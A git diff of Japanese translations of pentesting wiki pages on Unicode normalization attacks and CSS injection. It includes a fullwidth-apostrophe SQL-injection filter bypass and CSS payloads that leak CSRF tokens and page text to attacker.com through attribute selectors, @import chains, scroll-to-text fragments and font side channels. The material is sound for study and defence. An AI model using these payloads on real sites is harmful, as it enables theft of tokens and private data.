||||
## Understanding Unicode and Normalization
|
||||
|
||||
Unicode 正規化は、文字の異なるバイナリ表現が同じバイナリ値に標準化されるプロセスです。このプロセスは、プログラミングやデータ処理における文字列の取り扱いにおいて重要です。Unicode 標準は、2 種類の文字の同等性を定義しています。
|
||||
Unicode正規化は、文字の異なるバイナリ表現が同じバイナリ値に標準化されるプロセスです。このプロセスは、プログラミングやデータ処理における文字列の取り扱いにおいて重要です。Unicode標準は、2種類の文字の同等性を定義しています:
|
||||
|
||||
1. **標準同等性**: 文字が印刷または表示されたときに同じ外観と意味を持つ場合、それらは標準的に同等と見なされます。
|
||||
2. **互換性同等性**: 文字が同じ抽象的な文字を表す可能性があるが、異なる方法で表示される場合の弱い同等性の形式です。
|
||||
|
||||
**4 つの Unicode 正規化アルゴリズム** があります: NFC、NFD、NFKC、NFKD。各アルゴリズムは、標準的および互換性のある正規化技術を異なる方法で使用します。より深く理解するためには、[Unicode.org](https://unicode.org/) でこれらの技術を探ることができます。
|
||||
**4つのUnicode正規化アルゴリズム**があります:NFC、NFD、NFKC、NFKD。それぞれのアルゴリズムは、標準的および互換性のある正規化技術を異なる方法で使用します。より深く理解するためには、[Unicode.org](https://unicode.org/)でこれらの技術を探求できます。
|
||||
|
||||
### Key Points on Unicode Encoding
|
||||
### Unicodeエンコーディングに関する重要なポイント
|
||||
|
||||
Unicode エンコーディングを理解することは、特に異なるシステムや言語間の相互運用性の問題に対処する際に重要です。主なポイントは次のとおりです。
|
||||
Unicodeエンコーディングを理解することは、特に異なるシステムや言語間の相互運用性の問題に対処する際に重要です。主なポイントは次のとおりです:
|
||||
|
||||
* **コードポイントと文字**: Unicode では、各文字または記号に「コードポイント」として知られる数値が割り当てられます。
|
||||
* **バイト表現**: コードポイント(または文字)は、メモリ内で 1 つ以上のバイトで表されます。たとえば、LATIN-1 文字(英語圏で一般的)は 1 バイトを使用して表されます。ただし、より多くの文字セットを持つ言語は、表現のためにより多くのバイトを必要とします。
|
||||
* **エンコーディング**: この用語は、文字がバイトの系列に変換される方法を指します。UTF-8 は一般的なエンコーディング標準で、ASCII 文字は 1 バイトで表され、他の文字には最大 4 バイトが使用されます。
|
||||
* **コードポイントと文字**: Unicodeでは、各文字または記号に「コードポイント」として知られる数値が割り当てられます。
|
||||
* **バイト表現**: コードポイント(または文字)は、メモリ内で1つ以上のバイトで表されます。たとえば、LATIN-1文字(英語圏で一般的)は1バイトを使用して表されます。ただし、より多くの文字セットを持つ言語は、表現のためにより多くのバイトが必要です。
|
||||
* **エンコーディング**: この用語は、文字がバイトの系列に変換される方法を指します。UTF-8は一般的なエンコーディング標準で、ASCII文字は1バイトを使用して表され、他の文字には最大4バイトが使用されます。
|
||||
* **データ処理**: データを処理するシステムは、バイトストリームを文字に正しく変換するために使用されるエンコーディングを認識している必要があります。
|
||||
* **UTF のバリアント**: UTF-8 の他に、UTF-16(最小 2 バイト、最大 4 バイトを使用)や UTF-32(すべての文字に 4 バイトを使用)などの他のエンコーディング標準があります。
|
||||
* **UTFのバリアント**: UTF-8の他に、UTF-16(最小2バイト、最大4バイトを使用)やUTF-32(すべての文字に4バイトを使用)などの他のエンコーディング標準があります。
|
||||
|
||||
これらの概念を理解することは、Unicode の複雑さとそのさまざまなエンコーディング方法から生じる潜在的な問題を効果的に処理し、軽減するために重要です。
|
||||
これらの概念を理解することは、Unicodeの複雑さとそのさまざまなエンコーディング方法から生じる潜在的な問題を効果的に処理し、軽減するために重要です。
|
||||
|
||||
Unicode が同じ文字を表す 2 つの異なるバイトをどのように正規化するかの例:
|
||||
Unicodeが同じ文字を表す2つの異なるバイトをどのように正規化するかの例:
|
||||
```python
|
||||
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
|
||||
```
|
||||
|
@ -68,9 +54,9 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
|||
|
||||
### **SQLインジェクションフィルターバイパス**
|
||||
|
||||
ユーザー入力を使用してSQLクエリを作成するために、文字 `'` を使用しているウェブページを想像してください。このウェブはセキュリティ対策として、ユーザー入力から **`'`** のすべての出現を **削除** しますが、**その削除後** と **クエリの作成前** に、ユーザーの入力を **Unicode** で **正規化** します。
|
||||
ユーザー入力を使用してSQLクエリを作成するために、文字 `'` を使用しているウェブページを想像してください。このウェブは、セキュリティ対策として、ユーザー入力から **`'`** のすべての出現を **削除** しますが、**その削除の後**、**クエリの作成の前**に、ユーザーの入力を **Unicode** を使用して **正規化** します。
|
||||
|
||||
そのため、悪意のあるユーザーは、`' (0x27)` に相当する別のUnicode文字 `%ef%bc%87` を挿入することができ、入力が正規化されると、シングルクォートが作成され、**SQLインジェクションの脆弱性** が現れます:
|
||||
そのため、悪意のあるユーザーは、`' (0x27)` に相当する別のUnicode文字 `%ef%bc%87` を挿入することができ、入力が正規化されると、シングルクォートが作成され、**SQLインジェクションの脆弱性**が現れます:
|
||||
|
||||
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (702).png>)
|
||||
|
||||
|
@ -126,28 +112,16 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
|||
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
|
||||
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,19 +15,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## CSS Injection
|
||||
|
||||
### Attribute Selector
|
||||
|
||||
CSSセレクタは、`input`要素の`name`および`value`属性の値に一致するように作成されています。入力要素の値属性が特定の文字で始まる場合、あらかじめ定義された外部リソースが読み込まれます:
|
||||
CSSセレクタは、`input`要素の`name`および`value`属性の値に一致するように作成されています。入力要素のvalue属性が特定の文字で始まる場合、あらかじめ定義された外部リソースが読み込まれます:
|
||||
```css
|
||||
input[name=csrf][value^=a]{
|
||||
background-image: url(https://attacker.com/exfil/a);
|
||||
|
@ -40,17 +33,17 @@ input[name=csrf][value^=9]{
|
|||
background-image: url(https://attacker.com/exfil/9);
|
||||
}
|
||||
```
|
||||
しかし、このアプローチは隠し入力要素(`type="hidden"`)を扱う際に制限に直面します。なぜなら、隠し要素は背景を読み込まないからです。
|
||||
しかし、このアプローチは、隠し入力要素(`type="hidden"`)を扱う際に制限に直面します。隠し要素は背景を読み込まないためです。
|
||||
|
||||
#### 隠し要素のバイパス
|
||||
|
||||
この制限を回避するために、`~` 一般的な兄弟コンビネータを使用して次の兄弟要素をターゲットにすることができます。CSSルールは、隠し入力要素の後に続くすべての兄弟に適用され、背景画像が読み込まれる原因となります。
|
||||
この制限を回避するために、`~` 一般的な兄弟コンビネータを使用して、次の兄弟要素をターゲットにすることができます。CSSルールは、隠し入力要素の後に続くすべての兄弟に適用され、背景画像が読み込まれるようになります。
|
||||
```css
|
||||
input[name=csrf][value^=csrF] ~ * {
|
||||
background-image: url(https://attacker.com/exfil/csrF);
|
||||
}
|
||||
```
|
||||
実際にこの技術を悪用する例は、提供されたコードスニペットに詳述されています。こちらで確認できます [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e)。
|
||||
実際にこの技術を悪用する例は、提供されたコードスニペットに詳述されています。こちらで見ることができます [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e)。
|
||||
|
||||
#### CSSインジェクションの前提条件
|
||||
|
||||
|
@ -58,7 +51,7 @@ CSSインジェクション技術が効果的であるためには、特定の
|
|||
|
||||
1. **ペイロードの長さ**: CSSインジェクションベクターは、作成されたセレクタを収容するのに十分な長さのペイロードをサポートする必要があります。
|
||||
2. **CSSの再評価**: ページをフレーム化する能力が必要であり、これは新しく生成されたペイロードでCSSの再評価をトリガーするために必要です。
|
||||
3. **外部リソース**: この技術は、外部ホストされた画像を使用する能力を前提としています。これは、サイトのコンテンツセキュリティポリシー(CSP)によって制限される可能性があります。
|
||||
3. **外部リソース**: この技術は、外部ホストされた画像を使用する能力を前提としています。これは、サイトのコンテンツセキュリティポリシー(CSP)によって制限される場合があります。
|
||||
|
||||
### ブラインド属性セレクタ
|
||||
|
||||
|
@ -73,11 +66,11 @@ background:url(/m);
|
|||
<input name=mytoken value=1337>
|
||||
<input name=myname value=gareth>
|
||||
```
|
||||
この技術を次の**@import**技術と組み合わせることで、**[**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**を使用して、盲目的なページから多くの**情報を抽出することが可能です。**
|
||||
この技術を次の**@import**技術と組み合わせることで、**[**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**を使用して、盲目的なページから多くの**情報を流出させる**ことが可能です。**
|
||||
|
||||
### @import
|
||||
|
||||
前の技術にはいくつかの欠点がありますので、前提条件を確認してください。**複数のリンクを被害者に送信できる必要がある**か、**CSSインジェクション脆弱ページをiframeできる必要があります**。
|
||||
前の技術にはいくつかの欠点がありますので、前提条件を確認してください。**複数のリンクを被害者に送信できる**必要があるか、**CSSインジェクション脆弱ページをiframeできる**必要があります。
|
||||
|
||||
しかし、**CSS `@import`**を使用して技術の質を向上させる別の巧妙な技術があります。
|
||||
|
||||
|
@ -87,13 +80,13 @@ background:url(/m);
|
|||
```css
|
||||
@import url('//attacker.com:5001/start?');
|
||||
```
|
||||
1. インポートは**攻撃者からのCSSスクリプトを受け取る**ことになります、そして**ブラウザはそれを読み込みます**。
|
||||
2. 攻撃者が送信するCSSスクリプトの最初の部分は**再び攻撃者のサーバーへの別の`@import`です**。
|
||||
1. インポートは**攻撃者からのCSSスクリプトを受け取る**ことになり、**ブラウザはそれを読み込む**。
|
||||
2. 攻撃者が送信するCSSスクリプトの最初の部分は**再び攻撃者のサーバーへの別の`@import`**です。
|
||||
1. 攻撃者のサーバーはこのリクエストにはまだ応答しません。なぜなら、いくつかの文字を漏洩させた後に、次の文字を漏洩させるためのペイロードでこのインポートに応答したいからです。
|
||||
3. ペイロードの2番目で大きな部分は**属性セレクタ漏洩ペイロード**になります。
|
||||
1. これにより、攻撃者のサーバーに**秘密の最初の文字と最後の文字**が送信されます。
|
||||
4. 攻撃者のサーバーが**秘密の最初と最後の文字**を受け取ると、**ステップ2で要求されたインポートに応答します**。
|
||||
1. 応答は**ステップ2、3、4と全く同じ**ですが、今回は**秘密の2番目の文字と次の最後から2番目の文字を見つけようとします**。
|
||||
1. 応答は**ステップ2、3、4と全く同じ**ですが、今回は**秘密の2番目の文字と次の最後の文字を見つけようとします**。
|
||||
|
||||
攻撃者は**秘密を完全に漏洩させるまでそのループを続けます**。
|
||||
|
||||
|
@ -108,7 +101,7 @@ input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
|
|||
/* value$= to match the ending of the value*/
|
||||
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
|
||||
```
|
||||
これはスクリプトが秘密をより早く漏らすことを可能にします。
|
||||
これはスクリプトが秘密をより早く漏らすことを可能にします。
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
|
@ -120,7 +113,7 @@ input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
|
|||
|
||||
**CSSセレクタ**を使用してDOMの部分にアクセスする他の方法:
|
||||
|
||||
* **`.class-to-search:nth-child(2)`**: これはDOM内のクラス「class-to-search」を持つ2番目のアイテムを検索します。
|
||||
* **`.class-to-search:nth-child(2)`**: これはDOM内の「class-to-search」クラスを持つ2番目のアイテムを検索します。
|
||||
* **`:empty`** セレクタ: 例えば、[**この解説**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**で使用されています**:
|
||||
|
||||
```css
|
||||
|
@ -129,9 +122,9 @@ input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
|
|||
|
||||
### エラーに基づくXS-Search
|
||||
|
||||
**参考文献:** [CSSベースの攻撃: @font-faceのunicode-rangeを悪用する](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [@terjanqによるエラーに基づくXS-Search PoC](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
**参考:** [CSSベースの攻撃: @font-faceのunicode-rangeを悪用する](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [@terjanqによるエラーに基づくXS-Search PoC](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
|
||||
全体の意図は、**制御されたエンドポイントからカスタムフォントを使用し、指定されたリソース(`favicon.ico`)が読み込まれない場合にのみ、このフォントでテキスト(この場合は「A」)が表示されることを保証する**ことです。
|
||||
全体の意図は、**制御されたエンドポイントからカスタムフォントを使用し、指定されたリソース(`favicon.ico`)が読み込まれない場合にのみ、このフォントでテキスト(この場合は「A」)を表示することを保証する**ことです。
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
@ -161,24 +154,24 @@ font-family: 'poc';
|
|||
- `unicode-range`プロパティは`U+0041`に設定され、特定のUnicode文字'A'をターゲットにします。
|
||||
|
||||
2. **フォールバックテキストを持つオブジェクト要素**:
|
||||
- `<body>`セクションに`id="poc0"`の`<object>`要素が作成されます。この要素は`http://192.168.0.1/favicon.ico`からリソースを読み込もうとします。
|
||||
- `<body>`セクションに`id="poc0"`を持つ`<object>`要素が作成されます。この要素は`http://192.168.0.1/favicon.ico`からリソースを読み込もうとします。
|
||||
- この要素の`font-family`は、`<style>`セクションで定義された`'poc'`に設定されています。
|
||||
- リソース(`favicon.ico`)の読み込みに失敗した場合、`<object>`タグ内のフォールバックコンテンツ(文字'A')が表示されます。
|
||||
- 外部リソースが読み込まれない場合、フォールバックコンテンツ('A')はカスタムフォント`poc`を使用してレンダリングされます。
|
||||
|
||||
### スクロールテキストフラグメントのスタイリング
|
||||
|
||||
**`:target`**擬似クラスは、**URLフラグメント**によってターゲットにされた要素を選択するために使用されます。これは[CSSセレクターレベル4仕様](https://drafts.csswg.org/selectors-4/#the-target-pseudo)で指定されています。`::target-text`は、テキストがフラグメントによって明示的にターゲットにされない限り、要素に一致しないことを理解することが重要です。
|
||||
**`:target`**擬似クラスは、[CSSセレクターレベル4仕様](https://drafts.csswg.org/selectors-4/#the-target-pseudo)で指定された**URLフラグメント**によってターゲットにされた要素を選択するために使用されます。`::target-text`は、テキストがフラグメントによって明示的にターゲットにされない限り、要素に一致しないことを理解することが重要です。
|
||||
|
||||
攻撃者が**スクロールテキスト**フラグメント機能を悪用することで、特定のテキストがウェブページに存在することを確認できるというセキュリティ上の懸念が生じます。これは、HTMLインジェクションを通じて自分のサーバーからリソースを読み込むことによって実現されます。この方法は、次のようなCSSルールを注入することを含みます:
|
||||
攻撃者が**スクロールテキスト**フラグメント機能を悪用することで、HTMLインジェクションを通じて自分のサーバーからリソースを読み込むことにより、ウェブページ上の特定のテキストの存在を確認できるというセキュリティ上の懸念が生じます。この方法は、次のようなCSSルールを注入することを含みます:
|
||||
```css
|
||||
:target::before { content : url(target.png) }
|
||||
```
|
||||
このようなシナリオでは、ページに「Administrator」というテキストが存在する場合、リソース `target.png` がサーバーからリクエストされ、テキストの存在が示されます。この攻撃の一例は、注入されたCSSをスクロールテキストフラグメントと共に埋め込んだ特別に作成されたURLを通じて実行できます:
|
||||
このようなシナリオでは、ページに「Administrator」というテキストが存在する場合、リソース `target.png` がサーバーからリクエストされ、テキストの存在が示されます。この攻撃のインスタンスは、注入されたCSSをScroll-to-textフラグメントと共に埋め込んだ特別に作成されたURLを通じて実行できます:
|
||||
```
|
||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||
```
|
||||
ここでは、攻撃がHTMLインジェクションを操作してCSSコードを送信し、特定のテキスト「Administrator」をターゲットにしています。これはScroll-to-text fragment(`#:~:text=Administrator`)を通じて行われます。テキストが見つかると、指定されたリソースが読み込まれ、攻撃者にその存在を無意識に知らせます。
|
||||
ここでは、攻撃がHTMLインジェクションを操作してCSSコードを送信し、特定のテキスト「Administrator」をScroll-to-text fragment(`#:~:text=Administrator`)を通じて狙っています。テキストが見つかると、指定されたリソースが読み込まれ、攻撃者にその存在を知られることになります。
|
||||
|
||||
緩和策として、以下の点に注意する必要があります:
|
||||
|
||||
|
@ -188,9 +181,9 @@ http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:
|
|||
|
||||
これらのメカニズムと潜在的な脆弱性を認識することは、ウェブセキュリティを維持し、そのような悪用的戦術から守るための鍵です。
|
||||
|
||||
詳細については、元のレポートを確認してください: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
詳細については、元の報告を確認してください: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
|
||||
この技術を使用した[**CTFのエクスプロイトはこちらで確認できます**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb)。
|
||||
この技術を使用した[**CTFのエクスプロイトをこちらで確認できます**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb)。
|
||||
|
||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
|
@ -221,11 +214,11 @@ font-family:poc;
|
|||
```
|
||||
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
|
||||
|
||||
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
### テキストノードの抽出 (I): リガチャ <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
**Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||
**参考文献:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||
|
||||
この技術は、フォントのリガチャを利用してノードからテキストを抽出し、幅の変化を監視することを含みます。プロセスは以下のいくつかのステップで構成されています:
|
||||
この技術は、フォントリガチャを利用してノードからテキストを抽出し、幅の変化を監視することを含みます。プロセスは以下のいくつかのステップから成ります:
|
||||
|
||||
1. **カスタムフォントの作成**:
|
||||
- SVGフォントは、2文字のシーケンスを表すグリフに大きな幅を設定する`horiz-adv-x`属性を持つグリフで作成されます。
|
||||
|
@ -243,23 +236,23 @@ body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak);
|
|||
```
|
||||
|
||||
3. **エクスプロイトプロセス**:
|
||||
- **ステップ1**: 大きな幅を持つ文字のペア用にフォントが作成されます。
|
||||
- **ステップ2**: 大きな幅のグリフ(文字ペアのリガチャ)がレンダリングされるときに検出するために、スクロールバーを利用したトリックが使用されます。
|
||||
- **ステップ3**: リガチャを検出すると、検出されたペアを組み込み、前または後の文字を追加した3文字のシーケンスを表す新しいグリフが生成されます。
|
||||
- **ステップ1**: 幅の大きい文字ペア用のフォントが作成されます。
|
||||
- **ステップ2**: 大きな幅のグリフ(文字ペアのリガチャ)が描画されるときに検出するために、スクロールバーを利用したトリックが使用されます。
|
||||
- **ステップ3**: リガチャを検出すると、検出されたペアを含む3文字のシーケンスを表す新しいグリフが生成され、前または後の文字が追加されます。
|
||||
- **ステップ4**: 3文字のリガチャの検出が行われます。
|
||||
- **ステップ5**: プロセスは繰り返され、テキスト全体が徐々に明らかになります。
|
||||
|
||||
4. **最適化**:
|
||||
- 現在の初期化方法である`<meta refresh=...`は最適ではありません。
|
||||
- より効率的なアプローチは、CSS `@import`トリックを使用して、エクスプロイトのパフォーマンスを向上させることができます。
|
||||
- `<meta refresh=...`を使用した現在の初期化方法は最適ではありません。
|
||||
- より効率的なアプローチは、CSSの`@import`トリックを利用し、エクスプロイトのパフォーマンスを向上させることができます。
|
||||
|
||||
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### テキストノードの抽出 (II): デフォルトフォントを使用した文字セットの漏洩(外部アセットを必要としない) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
**参考文献:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
|
||||
このトリックはこの[**Slackersスレッド**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/)で公開されました。テキストノードで使用される文字セットは、ブラウザにインストールされている**デフォルトフォント**を使用して漏洩することができます:外部またはカスタムフォントは必要ありません。
|
||||
|
||||
この概念は、アニメーションを利用して`div`の幅を徐々に拡大し、1文字ずつテキストの「サフィックス」部分から「プレフィックス」部分に移行させることに基づいています。このプロセスは、テキストを2つのセクションに効果的に分割します:
|
||||
この概念は、アニメーションを利用して`div`の幅を徐々に拡大し、1文字ずつテキストの「サフィックス」部分から「プレフィックス」部分に移行させることに基づいています。このプロセスは、テキストを2つのセクションに分割します:
|
||||
|
||||
1. **プレフィックス**: 初期行。
|
||||
2. **サフィックス**: 次の行。
|
||||
|
@ -278,13 +271,13 @@ B
|
|||
**CADB**
|
||||
|
||||
|
||||
この遷移中に、**unicode-rangeトリック**が使用されて新しい文字がプレフィックスに加わるたびに識別されます。これは、デフォルトフォントよりも明らかに背が高いComic Sansフォントに切り替えることで達成され、結果として垂直スクロールバーがトリガーされます。このスクロールバーの出現は、プレフィックスに新しい文字が存在することを間接的に示します。
|
||||
この遷移中に、**unicode-rangeトリック**が使用されて新しい文字がプレフィックスに加わるたびに識別されます。これは、フォントをComic Sansに切り替えることで達成され、Comic Sansはデフォルトフォントよりも明らかに高いため、垂直スクロールバーがトリガーされます。このスクロールバーの出現は、プレフィックスに新しい文字が存在することを間接的に示します。
|
||||
|
||||
この方法では、ユニークな文字が現れるときに検出できますが、どの文字が繰り返されているかは特定できず、繰り返しが発生したことだけがわかります。
|
||||
この方法は、ユニークな文字が現れるときに検出を可能にしますが、どの文字が繰り返されているかを特定することはできず、繰り返しが発生したことだけを示します。
|
||||
|
||||
{% hint style="info" %}
|
||||
基本的に、**unicode-rangeは文字を検出するために使用されます**が、外部フォントを読み込むことは望ましくないため、別の方法を見つける必要があります。\
|
||||
**文字**が**見つかった**とき、それは**事前にインストールされた**Comic Sansフォントが**与えられ**、文字が**大きくなり**、**スクロールバーがトリガーされ**、**見つかった文字が漏洩します**。
|
||||
**文字**が**見つかった**とき、それは**事前にインストールされたComic Sansフォント**が**与えられ**、文字が**大きくなり**、**スクロールバーがトリガーされ**、**見つかった文字が漏洩します**。
|
||||
{% endhint %}
|
||||
|
||||
Check the code extracted from the PoC:
|
||||
|
@ -412,17 +405,17 @@ div::-webkit-scrollbar:vertical {
|
|||
background: blue var(--leak);
|
||||
}
|
||||
```
|
||||
### テキストノードの流出 (III): デフォルトフォントによる文字セットの漏洩(外部アセットを必要としない) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### テキストノードの抽出 (III): デフォルトフォントでの文字セットの漏洩(外部アセットを必要としない) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**参考:** これは[この書き込みの失敗した解決策として言及されています](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**参考:** これは[この書き込みでの失敗した解決策として言及されています](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
このケースは前のケースと非常に似ていますが、今回は特定の**文字を他の文字より大きくする目的は、ボットに押されないボタンや読み込まれない画像のような何かを隠すことです**。したがって、アクション(またはアクションの欠如)を測定し、特定の文字がテキスト内に存在するかどうかを知ることができます。
|
||||
|
||||
### テキストノードの流出 (III): キャッシュタイミングによる文字セットの漏洩(外部アセットを必要としない) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### テキストノードの抽出 (III): キャッシュタイミングによる文字セットの漏洩(外部アセットを必要としない) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**参考:** これは[この書き込みの失敗した解決策として言及されています](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**参考:** これは[この書き込みでの失敗した解決策として言及されています](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
この場合、同じオリジンから偽のフォントを読み込むことで、テキストに文字が含まれているかどうかを漏洩させることを試みることができます。
|
||||
このケースでは、同じオリジンから偽のフォントを読み込むことで、テキストに文字が含まれているかどうかを漏洩させることを試みることができます:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
|
@ -434,11 +427,11 @@ unicode-range: U+0041;
|
|||
|
||||
しかし、キャッシュされたレスポンスと非キャッシュのレスポンスの時間差が十分でない場合、これは役に立ちません。例えば、著者は次のように述べています:しかし、テストの結果、最初の問題は速度があまり変わらないことであり、二つ目の問題はボットが `disk-cache-size=1` フラグを使用していることで、これは本当に考慮されています。
|
||||
|
||||
### テキストノードの流出 (III): 数百のローカル「フォント」を読み込む時間によって文字セットを漏洩させる(外部アセットを必要としない) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
